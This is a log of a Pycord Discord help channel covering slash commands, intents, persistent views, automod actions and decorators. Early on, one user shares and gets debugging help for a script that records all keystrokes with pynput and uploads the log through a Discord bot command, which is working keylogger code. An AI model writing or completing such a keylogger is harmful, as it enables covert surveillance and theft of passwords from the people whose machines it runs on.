#Basic Pycord Help
1 messages · Page 27 of 1
ty
What's the best way to check role hierarchy? For example for a mod command to see if the user's highest role is below the moderator's.
Top_role should return the highest role
.rtfm discord.user
discord.User
discord.User.accent_color
discord.User.accent_colour
discord.User.avatar
discord.User.banner
discord.User.bot
discord.User.can_send
discord.User.color
discord.User.colour
discord.User.create_dm
discord.User.created_at
discord.User.default_avatar
discord.User.discriminator
discord.User.display_avatar
discord.User.display_name
discord.User.dm_channel
discord.User.fetch_message
discord.User.history
discord.User.id
discord.User.jump_url
.rtfm discord.user.id
This ain't a commands channel #app-commands
Hi idk whats been going on but recently my slash commands havent been working as in the slash commands wont show up as on option even when i refresh discord
bot = discord.Bot()
@bot.event
async def on_ready():
print(f"{bot.user} is ready and online!")
dotenv.load_dotenv(dotenv_path="secrets.env")
bot.run(os.getenv('token'))
@bot.command(description="upload log", guild_ids=[int(os.getenv('guild_id'))])
async def uploadlog(ctx):
if os.path.exists(log_dir):
await ctx.send(file=File(log_dir))
else:
await ctx.send("None")
I feel like its a small mistake im making, and idk what it is
and yes, even when i remove guild_ids=[int(os.getenv('guild_id'))] from the command, it still doesnt show
Did you override on_connect
Idk what that is
yeah
well tbh i stopped working on bots like 1 month ago, came back just recently
and no matter what code i write my slash commands wont show up
user.send, depending on how you get the user
there's guild.get_member, bot.get_user if the user is cached
Or ctx.author.send, and so on
Can you show the full file
sure,
import discord
import os
import dotenv
import logging
from pynput.keyboard import Key, Listener
from discord.file import File
# SENDING INFO TO DISCORD BOT
bot = discord.Bot()
@bot.event
async def on_ready():
print(f"{bot.user} is ready and online!")
dotenv.load_dotenv(dotenv_path="secrets.env")
bot.run(os.getenv('token'))
@bot.command(description="Send keystrokes", guild_ids=[int(os.getenv('guild_id'))])
async def uploadlog(ctx):
if os.path.exists(log_dir):
await ctx.send(file=File(log_dir))
else:
await ctx.send("None")
# LOGGING KEYSTROKES
log_dir = ""
logging.basicConfig(filename=(log_dir + "log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
#if key == Key.esc:
# return False
with Listener(on_press=on_press) as listener:
listener.join()```
then what does it stand for in docs? DM.channel
I really don't want to ask such stupid questions, but I was searching for a way to send a user dm message in those docs, and this was the only thing I found
ok, changed it but now my on_ready message wont print
DMChannel is generated from User.create_dm(), but for the user's convenience you can just do user.send
if there’s no channel, the user.send will create one. It’s basically a more user-friendly one
and everything else works...? or what
wel.. no my slash command still isnt showing
...can you show your new file
im pretty sure it's because you're trying to run your pyinput thing at the same time
maybe, but in other projects i still have the same problem when all im running is dotenv and pycord
but regardless
import discord
import os
import dotenv
import logging
from pynput.keyboard import Key, Listener
from discord.file import File
log_dir = ""
logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
#if key == Key.esc:
# return False
with Listener(on_press=on_press) as listener:
listener.join()
bot = discord.Bot()
@bot.event
async def on_ready():
print(f"{bot.user} is ready and online!")
@bot.command(description="Send keystrokes", guild_ids=[int(os.getenv('guild_id'))])
async def uploadlog(ctx):
if os.path.exists(log_dir):
await ctx.send(file=File(log_dir))
else:
await ctx.send("None")
dotenv.load_dotenv(dotenv_path="secrets.env")
bot.run(os.getenv('token'))```
are you sure the bot runs at all
right, because your Listener is likely blocking the rest of the code
just like bot.run blocks the rest of the code, if you want to use the listener you'll need a more specialized implementation
ahaa
well holdon, let me comment out everything to do with the listener, cause i swear the issue isnt just bc of the listener
well. it appears i was wrong
thanks for the help
how to update the select menu without restart bot (the values gets from db file)
Send a new one
Or edit it
obligatory?
ok i can edit a view that sended before the restart?
pretty sure only if its a persistent one
or do you mean changing the view of a message?
when i send new one it shows to me the same as the old one
doesn't update the options
what
I won't open an 8kb text file on mobile lmao
def get_select_options():
clan_names = get_clan_names()
options = [discord.SelectOption(label=clan_name, value=clan_name) for clan_name in clan_names]
return options
def get_clan_names():
data = load_clan_data(guild_id)
clan_names = []
for clan in data:
clan_names.append(clan[1])
return clan_names
@discord.ui.select(
placeholder="Select the clan!",
min_values=1,
max_values=1,
options = get_select_options()
)
async def select_callback(self, select, interaction):
I don't see any view being put in any message lol
i didn't understand anything 🙂
me neither
you wanna edit a message's view (?) but nowhere in the code you sent do you edit a message
nope
i want when i add some data into file the select menu update their options without restarting the bot
Everytime you instance a new view, your options get loaded
okey thanks for help
hey everyone
hows going
hope ur all fine
ive been learning codes and arguments + the definitions
the only thing im struggling is how to implement or apply the logic
i am quite rookie in this but i still need help in applying without hesitation
I would appreciate if there is someone giving advices or help
show your code
update
?tag update
i hate you
There are no tags that match your search.
There are no tags that match your search.
This isn't a commands channel #app-commands
i havent done any so far
A discord bot is not a beginners project.
i think they mean they didnt make any commands yet
i wanted to get how to uptade pycord
You don't know how to run a simple pip install -u?...
dark you really need to chill today lmao
why isnt it editing the embed?
discord.Embed
discord.Embed.Empty
discord.Embed.add_field
discord.Embed.append_field
discord.Embed.author
discord.Embed.clear_fields
discord.Embed.color
discord.Embed.colour
discord.Embed.copy
discord.Embed.description
discord.Embed.fields
discord.Embed.footer
discord.Embed.from_dict
discord.Embed.image
discord.Embed.insert_field_at
discord.Embed.provider
discord.Embed.remove_author
discord.Embed.remove_field
discord.Embed.remove_footer
discord.Embed.remove_image
You can append remove etc.
You'd need to basically first remove smth
Then add a new value
.format is technically faster
and more versatile
When i send a modal after a modal
Ignoring exception in modal <cogs.dev.tempvoice.enter_categorie_name object at 0x000002EA88C848D0>:
Traceback (most recent call last):
File "C:\Users\jurek\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.11_qbz5n2kfra8p0\LocalCache\local-packages\Python311\site-packages\discord\ui\modal.py", line 341, in dispatch
await value.callback(interaction)
File "c:\Users\jurek\Documents\Development\Python\DC Bots\Xenority\Xenority-Main-Pycord-V2-PY\cogs\dev\tempvoice.py", line 571, in callback
await interaction.response.send_modal(enter_interface_channel_name(label="ändere den Kategorie namen", value="─┐➕│Join2Create│➕└─ ─", categorie=self.children[0].value, title="test"))
File "C:\Users\jurek\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.11_qbz5n2kfra8p0\LocalCache\local-packages\Python311\site-packages\discord\interactions.py", line 1178, in send_modal
await self._locked_response(
File "C:\Users\jurek\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.11_qbz5n2kfra8p0\LocalCache\local-packages\Python311\site-packages\discord\interactions.py", line 1243, in _locked_response
await coro
File "C:\Users\jurek\AppData\Local\Packages\PythonSoftwareFoundation.Python.3.11_qbz5n2kfra8p0\LocalCache\local-packages\Python311\site-packages\discord\webhook\async_.py", line 222, in request
raise HTTPException(response, data)
discord.errors.HTTPException: 400 Bad Request (error code: 50035): Invalid Form Body
In type: Value must be one of {4, 5, 6, 7, 10}.
Code:
def __init__(self, label="Name vom Kategorie", value="─┐:heavy_plus_sign:│Join2Create│:heavy_plus_sign:└─ ─", *args, **kwargs):
super().__init__(*args, **kwargs)
self.label = label
self.value = value
self.add_item(discord.ui.InputText(
required=True,
max_length=25,
label=label,
value=value,
style=discord.InputTextStyle.short
))
async def callback(self, interaction: discord.Interaction):
print(self.children[0].value)
await interaction.response.send_modal(enter_interface_channel_name(label="ändere den Kategorie namen", value="─┐:heavy_plus_sign:│Join2Create│:heavy_plus_sign:└─ ─", categorie=self.children[0].value, title="test"), type=5)
class enter_interface_channel_name(discord.ui.Modal):
def __init__(self, label, value, categorie, *args, **kwargs):
super().__init__(*args, **kwargs)
self.label = label
self.value = value
self.categorie = categorie
self.add_item(discord.ui.InputText(
required=True,
max_length=25,
label=label,
value=value,
style=discord.InputTextStyle.short
))
async def callback(self, interaction: discord.Interaction):
print(self.children[0].value)
print(self.categorie)```
because you can't
you have to send a separate button or select menu to send another modal
and technically unreadable and pointless once you have more than 1 thing
Can someone help me? I have a server on 5k servers which only gets the member intents. The Bot have 5 shards. Other bots from me with all intents start instant. How can i speed up the bot starting
In version 1.5 comes the introduction of Intents. This is a radical change in how bots are written. An intent basically allows a bot to subscribe to specific buckets of events. The events that corr...
And is it true, that the user select doesnt work until on_ready?
I don't know
Is there a way to requtest a faster member fetch?
Via support
no
I request presence intents
if i click on a user and the bot is starting the member is none...
ok
this is insane
so that's why huge bots can take hours to start
Mine take 3 with 5k servers
Thats crazy
consider disabling members intent then
you can always do it in the background in some way too
and fetch when needed
Bro i need them
for what exactly
To get members?
I mean what exactly do you get members for
i ask what exactly you do with them or what you need them for
To get members to set permissions
What is this one function? How do they work
?
in command or?
and set permissions in?
u dont need members for setting perrmissions for channels or roles
you could even use discord.Object thats why im asking
also slash cmd resolve members/users
No
I have user selects. Without member intents it doesnt work. Events too
Your bot is taking too long to start completely because it is caching everyone on startup
and in what case you use this user select
Fwiw, you can have members intent without caching every member
But it does cause some other complications; ultimately depends on your goal
What is the bad side if i dont do that
I mean it depends on if you rely on the member cache
Like doing get_member
Or iterating through guild.members to check stuff, etc
Or if you use events such as on_member_update, you need to switch to using the raw variants
That being said you can still do guild.fetch_member, and if you receive a member through another event or interaction it'll remain cached
i have views that are initiated with parameters (they're used for punishment verification)
how can I make these views persistent (since I can't just add_view() in on_ready since they have parameters)
How are these parameters generated
The idea behind persistent views is you more or less recreate the environment they were sent in before
Either that, or rework the callback to work with a more limited set of data
What doesn’t work if I don’t cache them all
...I already listed everything above
Without caching, your bot will start quicker but it'll start with very few members; all being the bot member in each server
Whenever a user uses a command or other interaction, they'll also be added to the cache
When you have a large bot, you have to make a lot of careful calculations on what is and isn't necessary
If you need all the members cached, you have to accept it'll take a long time to start
Otherwise, you can rework your stuff to purely work on raw events; it just takes a bit more knowhow and you lose out on some convenience
i suggest using bot.get_or_fetch_user
ik its a dumb but is there a way to make a optional argument?
Can someone help me and tell me why I can still see and execute a slash command from a cog, even though the cog is successfully unloaded and I cannot unload it a second time and then get the message that the cog is not loaded?
@bot.command(name="unload", hidden=True)
@commands.is_owner()
async def unload(ctx, *, module: str):
"""Unloads a cog."""
try:
bot.unload_extension(module)
await ctx.send(f"`{module}` unloaded.")
except Exception as e:
await ctx.send(f"Error while unloading `{module}`: {e}")```
Never used cogs so i cant help
Why?
I dont fully understand what cogs even do
If theyre slash commands, you need to sync agai.
If I use this, nothing changes for me anyway
await bot.sync_commands()```
You have to add a list with the slash_commands to it
can someone tell me how to get a user permisions?
That was not a joke...
nvm i need to search in docs when i neeed something
Yes you do. That's why they exist.
alright
now i got a thing that i wont find in docs i think
Everything is in the docs. They're just presented in a more general (or abstract?) form
you should be able to find that in the member class.
.rtfm discord.Member.permissions
Target not found, try again and make sure to check your spelling.
nah i alr found it
its guild_permision
👍
did you find this too?
ima try
didnt find it
what is the question?
When someone dosent have perms to use a command it dosent show up
ik carlbot did it
which means its possible
(i think)
That's an error raised by the decorator that checks the permission.
You have to setup and error handler and catch and respond to the error properly.
https://guide.pycord.dev/popular-topics/error-handling
All about handling errors.
oh alright
and is this required for the on_message() event? class MyClient(discord.Client):
async def on_message(self, message):
if message.author == self.user:
return
if message.content.startswith('$hello'):
await message.channel.send('Hello World!')
That is something that server admins have to set up.
You can set a discord.commands.default_permissions but this can be overridden by the server admins. It is mainly for not allowing users to use admin commands when the bot first joins before admins set correct permissions, Each server can set permissions for what roles/user/channels a command can be used in.
Server admins can edit these permissions in
Server Settings -> Integrations -> <Your Bot> -> <Your Command>
If you absolutely only want people with, for example, ban permissions you will have to use discord.ext.commands.has_permissions but this will not hide the command from users, in general you do not want to use this option.
No your bot object would be ok.
Client is just something that has less features than bot, but bot has all of clients features
when i try it it dosent work tho
How to check whether a user's top_role is higher than the bot's top_role? I don't know how to get the client's top role in a guild
you should get error if that happens
??
I don't want to catch an error, I want to make a check before I do anything
when the user's top_role is higher
its impossible then i think
client.user.top_role
Thanks I appreciate it
or bot.user
Take a look at the examples ;3
so to use prefixes?
commands is for prefixes and slash commands got are at the name slash
ok
?tag client
discord.Client # just for events
discord.Bot # events + slash/user/msg commands
commands.Bot # above + prefixed commands
bridge.Bot # above + bridge commands (application commands and text commands in one)
ohhhh alright
so i can use Client for events?
why default_member_permissions=discord.Permissions.manage_messages dosen't work?
But you are also using slash commands so you want to use Bot
Can you show the full line this is in.
lil problem that when i try to use on_member_join on bot it dosent work
Can you show what code you have
@bot.slash_command(description="Bulk Purges messages" ,default_member_permissions=discord.Permissions.manage_messages)
@bot.event
async def on_member_join(member):
print("whe got a new player " )
I think you are just missing the () after Permissions
what?
Permissions().manage_messages
errors with AttributeError: 'bool' object has no attribute 'value'
i dont care about it thb
i alr have
a permission check
It's guild.me for the bot
client.user returns a user object, not a member object of the guild
the only events that ever worked for me is on_ready()
Oh ok
Which intents does your bot have?
Every
You must also define it on your code
sum like this? ```python
bot=discord.Bot(intents=discord.Intents.all())
Yeah
Is there any tutorial in terms of editing bot's existing messages?
depends on the context
if you have an ID and channel, you can either fetch the message first (if you need some existing data from it) or make a partial message and edit without caring for the existing content
if you need to do it in a command after already sending then you can do it in place py m = await ctx.send(...) await m.edit(...) ... await ctx.respond(...) await ctx.edit(...)
don't do all if you don't need it
i need tho
presences too?
"feel better" what
again, if you dont need it, dont request it
completely unnecessary
and if you never use the intents you request, actually has slight performance downsides :)
and i dont really care about it
its slight
well, can't make you
just a tip on best practices
all or only server it wont change events not working
events work just fine
dont work for me
Thats a very different statement and issue
again, it works just fine if you do it right
so you did something wrong
make a new post and show your code again
which tag to select tho?
core library
i need to use the /example command more tbh
#1222573010699948033 message reminder
i didnt understand it
I wanted to ask a general Discord question first but don’t want to get yelled at, so I’ll just ask the pycord question 😛
Emoji seems to have a roles member. Does this allow emoji to be created and only usable by those roles (IOW, is that actually functional?)
I ask because I don’t see any similar controls in the UI and curious if it’s just one of those few api-only things
hm interesting, never saw that before
i'd actually reckon it's a legacy feature from LONG back
actually no..?
i think server subscriptions have emojis per tier, right?
I think it could be that
Maybe. Is there a way to put someone in a subscription without them paying discord directly? Or is it all gated through that; I like the tiering, just want to be able to define our own rules for that
Dumb. Well I'll probably be stubborn and see what happens if I try to put role restrictions when adding emojis. The Create Guild Emoji says nothing about subscriptions, just role ids.
Also,
An emoji cannot have both subscription roles and non-subscription roles.
implies that you can have non-subscription role restrictions.
weird
well, then i can say in all my time on discord, i have never heard of role locked emojis
outside of subscriptions
now i'm curious about it too
@ me if you find out
yes
this has been fully functional for years, but never made it to the discord UI for some reason
idk man
i mean to be very fair it is kind of pointless? but it seems weird they made it (work), but never made it possible to use without bots lol
it might exist for some automatic integration with patreon but i've never set that up myself
What's the easiest way to have async with typing() for duration of all my commands?
what even is that and what do you need it for
Toothy I don't mean to be rude but for the half dozen question I've asked here, you haven't been helpful at all. You just give snarky remarks without sufficient knowledge of the API.
docs: https://docs.pycord.dev/en/stable/api/models.html#discord.GroupChannel.typing
Alright, another block to my blocklist
sorry for trying to help
typing() could be literally anything
doesn't have to be from pycord
as far as i understood it it forces a certain type, didn't understand the question either.
My apologies then, but this isn't the first time
and no, not really a pycord question, but i am curious
Does anyone know how to wrap typing() for every (bridge) command?
Shot in the dark but you could edit the actual bridge command code maybe?
like of the decorator
id probably just throw some function in utils and call it each time, only to learn there is a better, cleaner way a couple of days after building and implementing it everywhere 
Right, lol. I thought I'd ask here so I do it the most efficient way from the get-go, thanks for the help though guys
I wasnt trolling though. this might be a good question for this python-general server. hang on
typing might be a pycord thing, but the concept you're asking for is very much generic
show the code that causes that
my post got blocked, apparently the bot is allowed to share the link but i am not D:
lmao
😂
another thing i just thought of is, you could make your own decorator that does that
That works too
I'm trying something like
def typing_during_command():
def wrapper(func):
async def wrapped(ctx, *args, **kwargs):
async with ctx.typing():
await func(ctx, *args, **kwargs)
return wrapped
return wrapper
but it doesn't work as expected
why ctx? * args * * kwargs should take it all and also work where you dont have applicationContext
currently have not a clue why there need to be 3 nested functions
wtf
ah because its async?
how do i use emojis from different servers in the bot? for some reason some bots can but i cant using like the id and emoji name
the bot needs to be in the server that emoji is in
def typing_during_command():
def wrapper(func):
async def wrapped(*args, **kwargs):
async with args[1].typing():
await func(*args, **kwargs)
return wrapped
return wrapper
This does show the bot typing, but it fucks with my command parameters.
how?
Beats me!
what
I get missing 1 required positional argument for a command that worked fine before with the same syntax
from where exactly
e.g. my ban command has the following params: self, ctx, target: discord.User, *, reason: str = None, which works fine
but when I apply that function to the cmd (@typing_during_command()) it types but raises "Moderation.ban_command() missing 1 required positional argument: 'target'"
yep
Oh! I think that * indeed fucks with *args because it collects everything behind it into a tuple called args, but I don't know how to fix that
Can't add it it the decorator, that seems weird
your decorator might be screwing with how self is injected
not sure though
you could try printing them out to see what you have
& how are you invoking the command
the command is just part a cog, should I add self to the wrapped params maybe?
because right now self is args[0]
is this for prefix commands?
looks like it
bridge
hm
tb:
core-1 | File "/usr/local/lib/python3.11/site-packages/discord/ext/bridge/bot.py", line 144, in invoke
core-1 | await ctx.command.invoke(ctx)
core-1 | File "/usr/local/lib/python3.11/site-packages/discord/ext/commands/core.py", line 959, in invoke
core-1 | await injected(*ctx.args, **ctx.kwargs)
core-1 | File "/usr/local/lib/python3.11/site-packages/discord/ext/commands/core.py", line 189, in wrapped
core-1 | raise CommandInvokeError(exc) from exc
core-1 | [2024-03-28 19:42:34] [Racu.Core] [CommandHandler] on_command_error: Command raised an exception: TypeError: Moderation.unban_command() missing 1 required positional argument: 'target'
Oh 🤔 that works i guess
async def process_commands(self, message: Message)
if message.author.bot:
return
ctx = await self.get_context(message)
await self.invoke(ctx)```
I'll try that
you'd just wrap the last line
whichever line actually invokes the command
Lol, that works. Thanks Nelo
Am I the only one getting a lot of 503 in the last days ?
i havent gotten any, but usually 5xx aren't your own fault
there's a PR for auto-retrying 503s
https://github.com/Pycord-Development/pycord/pull/2395/files just edit your http.py file
or upgrade to master if you don't mind risks in having every new pr
Just to make sure, is the "Message" here discord.Message?
mhm
process_commands always takes a message
(by default, it's ran on every single message)
I see thank you !
I just realized that the bot always starts typing on every message, even when the message isn't a command. Not ideal 😬
did you wrap it properly
oh i see
add a check for ctx.command before typing
(you might find it helpful to view the source yourself directly https://github.com/Pycord-Development/pycord/blob/master/discord/ext/commands/bot.py#L360)
Trying to shard my bot, however replacing my discord.Bot with discord.AutoShardedClient throws the error AutoShardedClient has not attribute command
you want AutoShardedBot
misread docs 😳
Is there anyway to wait for embeds to load when a message is sent? Whenever I send a message with a discord link that links to a file(EG: A gif), the message that is returned in the on_message event does not have any embeds. But when I send a second message with the same link, the message now shows that it has an embed
You have to sleep and hope it's there in time
Most large sites should process it within a second or two, but others may take longer
Alright, I guess I'll try and do that then. Thank you for the help
Oh my holy fuck you're editing a message not an embed itself I fucking dumplinh

.. Wai shit now I'm insecure
😵💫
breathing, Voxy. don't forget the breathing!
I forgot how to breathe
😂 gotta love how passionate some get over such details. (happens to me too at times)
it's not a detail if it's just trying to help someone but then being wrong and sending them in the wrong direction
You've no idea how much guilt I feel when that happens

seen it, that's why i wanted to calm you a bit
maybe cause edit is used before the embed was ever sent?
Can someone show me a example from a autoModAction which has timeout in it?
how can i fix those type of errors?:
An error occurred: Application Command raised an exception: NotFound: 404 Not Found (error code: 10062): Unknown interaction
do you defer the slash command?
no
if it takes more than 3 seconds for the message you have to defer it
wdym
Now the bot "thinks" and i get that error
do you use interaction or ctx.respond?
Showing your code would be useful.
also that ^
A example for timeout in automod
https://docs.pycord.dev/en/master/api/models.html#discord.AutoModActionMetadata.timeout_duration
It's literally an arg in ActionMetadata
Models are classes that are received from Discord and are not meant to be created by the user of the library. Attributes key, url. Methods def is_animated, async read, def replace, async save, def ...
yes but how do i get 60 seconds?
timeout_duration=timedelta(seconds=60)
This doesnt work
Is there a way to access the content of the start message in a thread without loading this message from the cache?
Because after a bot restart the content is no longer found so that the whole thing only works as long as the bot has not been restarted?
thread = interaction.message.channel
if isinstance(thread, discord.Thread):
starting_message_content = (thread.starting_message.content if thread.starting_message else None)
just... type timeout_duration=60?
It explicitly says it takes datetime.timedelta object
or well, probably in minutes, so 1
Read the docs
ah ok nvm :3
ah my bad
The docs say:
"The ID for this message is the same as the thread ID."
Does this mean that if starting_message_content = None, I can simply search for the message again using fetch_message(thread.id)?
Okay i try it
Doesnt work.
actions=[
discord.AutoModAction(action_type=discord.AutoModActionType.block_message,
metadata=discord.AutoModActionMetadata(
custom_message="You have one or more words in your message that are forbidden on this server.",
timeout_duration=datetime.timedelta(seconds=60)))]```
well, whats the error?
...dude
your actiontype isnt timeout
of course it won't.... timeout then
you are misunderstanding the entire architecture of the thing
?
nevermind
your indentation is just wrong lol
but thats probably because of discord
but yea, make it of type timeout
You can define several actions as in the example here:
actions = [
discord.AutoModAction(
action_type=discord.AutoModActionType.block_message,
metadata=discord.AutoModActionMetadata(),
),
discord.AutoModAction(
action_type=discord.AutoModActionType.send_alert_message,
metadata=discord.AutoModActionMetadata(channel_id=log_channel.id),
),
discord.AutoModAction(
action_type=discord.AutoModActionType.timeout,
metadata=discord.AutoModActionMetadata(
timeout_duration=timedelta(minutes=30)
),
),
]```
Ahh okay
honestly the whole thing is kind of weird
should've just made the action types kwargs
so you dont have to do.... that
Yes its weird
How do i get the log_channel
You can define this yourself via an ID
Is there a way to get the guild set?
what do you even mean with that
What do you mean by guild set?
Cant you set a channel which is for every auto mod rule standarf
Try to get a channel named X?
And do proper checks if it doesn't exist...
Okay
import discord
from discord.ui import Button, View
class BuyButton(View):
def __init__(self, acc_id):
super().__init__(timeout=None)
self.add_item(Button(label="Buy", style=discord.ButtonStyle.primary, custom_id=str(acc_id)))
async def on_button_click(self, interaction: discord.Interaction):
await interaction.response.send_message(f"My account id is {interaction.custom_id}")
i am basically making a button that is added to the embed created by a command, i just need a way to differentiate between them using an acc_id given by the command while also being persistent, but im not sure what im doing wrong since clicking the button doesnt do anything
on_button_click does not exists
yeah i put that there as an example, how would i get the button to realize its been clicked?
Learn all about implementing buttons in your Discord Bot using Pycord.
the issue with using the decorator is that i cant pass in the acc_id the view was given
Then subclass the button instead
I, uh, believe there's an example?
Or I'll just write one
class MyButton(discord.ui.Button):
def __init__(self, acc_id):
super().__init__(label=..., style=..., custom_id=str(acc_id))
async def callback(self, interaction):
...
myview = discord.ui.View(timeout=None)
myview.add_item(MyButton(acc_id)
Don't know if you'd need to subclass View too for persistent? @shell radish
Im looking at this bit here i was just following it but to make it persistent id need to add a view to bot.add_view right but you've made a button, idk if i missed sum tho lol
Yeah thats why I asked this
you just need to add a view that has the component's custom_id
@weary meteor ^
but in this case since the component has a dynamic custom_id, it doesn't work
yep, so what should i do in this case?
what is the acc_id
its whatever is supplied by the command when ran, im also storing the acc_id in a database if that helps
Wouldn't subclassing it work
Subclassing a view that adds the button
And just pass None
I have dynamic views like that. Except adding the component manually
how do you get an acc_id
specifically
what do you mean? its just whatever the command passes as the acc_id
how is "whatever the command passes" generated?
I think he means it's an arg
ah my bad, i see what u mean, its an argument in the command
The user running the command passes an ID
yep
I'm probably over thinking it, but you can cache that with its message ID somehow right?
if by cache you mean store the message id in the database, yeah i could for sure
does it have to be persistent?
yep
then probably do what dark said
im not sure what u mean by subclassing then, like class buttonorwtv(View): and then make my button in here using the decorator or?
@lofty parcel
Is there any reason the button's custom ID must be the acc id?
yeah its to track which button gets clicked and resond based off the accid
wdym? since im creating these buttons everytime a command is ran, the acc id should be put as the custom id for each button that gets created so i need use the id that gets passed in from there, i dont really think i can do it internally
not if it restarts?
You need the accid to do certain actions when the button is clicked
Isn't that right
yep
it also needs to stay persistent
class MyView(discord.ui.View)
def __init__(self, acc_id)
super().__init__(self, timeout=None)
self.acc_id = acc_id
@discord.ui.button(label=..., style=..., custom_id="AccButton")
async def callback(self, button, interaction)
# you can access the acc_id with self.acc_id
And when adding the view on on_ready try
bot.add_view(MyView(None))
Try that and see if it works
oml i never even thought of this, i dont need to bother setting the custom id lmao
this works perfectly for me
i don't think the acc_id persists through restart?
Eh, ✨ tias ✨
oh ur right it wont since the button is created once upon the command being ran
and also wouldn't it not work since every single view will only use the latest view, and not the instance of the view that created the components?
because of custom_id
OK sherlock calm down
:(
the very point of custom_id is to keep identifiable data that you can work from
for any long term systems, it's essential to store them outside the bot to check through restarts
(and to be more secure it's preferable you also save the message id, but it's not necessary)
for certain setups you could get away with not saving anything, but it really depends on your structure
right so i thought of another method, might be overthinking it but
when i run the command, ill create the button as normal and add it to the embed, and store the message id in the db, then in on ready ill itterate thru the message ids and add the corresponding button with the custom id, that way in theory itll stay persisten while also retaining the custom id no matter what right?
lmk if i thought someting wrong lol
that's a decent way to handle it yeah
ov = created_channel.overwrites_for(interaction.user)
ov.send_messages = True
ov.read_messages = True```
am i not able to do this anymore? i did this in an old bot to set overwrites but now it throws an error
That's just your ide complaining
It still works fine
why my button dont disable?
def __init__(self, label):
super().__init__(
label=label,
style=discord.enums.ButtonStyle.green,
custom_id="interaction:temp_voice_next_step_2",
)
self.label = label
async def callback(self, interaction: discord.Interaction):
self.disabled = True```
Can I force a user to choose a value I have in a basic_autocomplete ?
example : if the value the user entered is not in the autocomplete, then the command can not be sent
You can put in default values
Does anyone know to properly use send_command_help(command) from HelpCommand in other instance than the help command, for example in Error Handling? Ideally on some errors, I'd send the command help from my HelpCommand as a response directly.
sounds complicated
I simply made a few constants, placed them in utils and assigned certain help-text-like content to it, adjusted to the different error causes.
In the commands themselves I can simply:
if errorcausing_condition_here:
ctx.respond(utils.CONSTANT_FOR_THIS_CASE)
return
same logic would play perfectly fine with your help commands text or embed
That's a fair solution. I kinda got something to work by putting the part where it creates the embed from send_command_help(command) into another (static) method & using that in both my HelpCommand class and Error Handling, the only downside is that I have to manually pass the used prefix to it.
If you want it to be case specific, yeah.
Sound like a good approach.
so according to https://docs.pycord.dev/en/stable/ext/commands/api.html#discord.ext.commands.Bot.on_command_error if i add a @commands.Cog.listener() for async def on_command_error then the default Bot.on_command_error shouldn't run
but it does
The following section outlines the API of Pycord’s prefixed command extension module. Bots: Bot: Attributes activity, allowed_mentions, application_flags, application_id, cached_messages, case_inse...
it does?
the default behaviour of Bot.on_command_error still runs
ie prints the exception to stderr
but the docs say
This only fires if you do not specify any listeners for command error.
WAIT NO
it's all good
i'm just stupid
nennt sich user command
I dosnt can send a normal message after a interaction.edit()?
interaction.channel.send
When I am getting an HTTP Timeout error, is it to do with when adding/removing member's roles or changing their nickname?
If you need me to get the full error, I can do so.
yes do that
Okay give me 2 minutes
I'm trying to reproduce the error but it has just dissapeared. I'll ping you if I catch it again.
This has been an issue for a while, basically it checks peoples roles and upadtes them when needed.
Every time I used the command on the entire server it would eventually show that error. But today it is not showing that error for some reason.
@shell radish ok i got the error
one sec
Actually here is a better one since I just realised the errors were from two seperate commands https://pastebin.com/Jx8cAUrQ
Pastebin.com is the number one paste tool since 2002. Pastebin is a website where you can store text online for a set period of time.
Sort of a general question, but directly applicable to issues I have with discord bots -- does anyone have good mitigation for when DNS errors happen and the bot altogether stops without crashing?
This isn't a 503 error so I don't think the recent PR will help.
I guess I could capture the socket.gaiaerror somehow to quit the program, then run the main process under a supervisor or something, but can I even capture that globally?
hello, can i somehow make an command that sends a message to every user that can see the channel the command was executed on?
...what for?
fwiw, I think part of the answer is to increase the DNS cache using a custom aiohttp.TCPConnector() connection
ctx.channel.send()
they mean DMs
Do they though? I get why you think that (and you might be right), but the question itself was ambiguous. Technically I'm currently sending a message that everyone that can see this channel can read.
...rather than being pedantic, "send a message to every user" feels rather self explanatory
just iterate through channel.members
"message to" means direct message
i highly assume they know how to send a message into the very channel they're in
tho i fail to see any proper use for what they're trying to do, hence i'm asking why they need that
im making a ticket system
and i want to make it so when an admin closes the ticket, the transcript gets send to the person that made the ticket
thats different from sending it to everyone in the channel tho
mb
i tried using "for member in interaction.TextChannel.members:" but yea it doesnt work
does a bot make the ticket thread, or the user themselves?
bot creates the channel, user just clicks a button
i tried using for member in interaction.TextChannel.members and just ignoring everyone that has administator permissions
well, do you save the ticket creator ID anywhere? if yes, just use that to get or fetch the member and DM them
i dont fetch it anywhere, could i somehow use TextChannel.members and just exclude everyone that has administator permissions?
sure
But is it a thread or its own channel? if its a channel id highly recommend going to threads just as a sidenote
its an own channel
its interaction.channel
Confused, though - first you say you are sending a transcript to the person that initiated (so one DM). So what's the bit about it 'ignoring' Administrators?
that way they wanna get the ticket "owner" without saving them anywhere
Models are classes that are received from Discord and are not meant to be created by the user of the library. Attributes key, url. Methods def is_animated, async read, def replace, async save, def ...
I feel like the bot should have some sort of internal 'Ticket' structure that holds onto that info at least until it's closed. (Since you can do things like easily iterate over active tickets, etc). But might be beyond the scope of the question.
What is the best way for the bot to consume messages from a Queue as a background task ?
I know there is the ```@tasks.loop(seconds=x)
but not sure it is the best option
what does consume mean in this senario
some event are happening in the bot, there are added to a Queue. Consume is just getting a element from the queue and processing it
Anyone who knows why im getting this: ImportError: cannot import name 'tasks' from 'discord.ext' (unknown location)
if it's not memory expensive or blocking , go ahead and use tasks
I see perfect ! I will use that in that case. Thank you !
re-install py-cord by un-installing and installing it
lol thanks
So you need to use python3 -m pip install -U py-cord instead of pip install py-cord?
it's machine dependent
you can have multiple pythons
so how you access each one could be different
Ah ok, its working now so thank you 🫡
yay
Can someone tell me why this doesnt trigger
on_shard_ready or on_shard_connect?
because you are probably already connected to the shard?
Any idea why I would get this error? Happening while the bot was running normally and crashed because of this:
jailbot_feature_discord-1 | bot.run(TOKEN)
jailbot_feature_discord-1 | File "/usr/local/lib/python3.10/site-packages/discord/client.py", line 766, in run
jailbot_feature_discord-1 | return future.result()
jailbot_feature_discord-1 | File "/usr/local/lib/python3.10/site-packages/discord/client.py", line 745, in runner
jailbot_feature_discord-1 | await self.start(*args, **kwargs)
jailbot_feature_discord-1 | File "/usr/local/lib/python3.10/site-packages/discord/client.py", line 709, in start
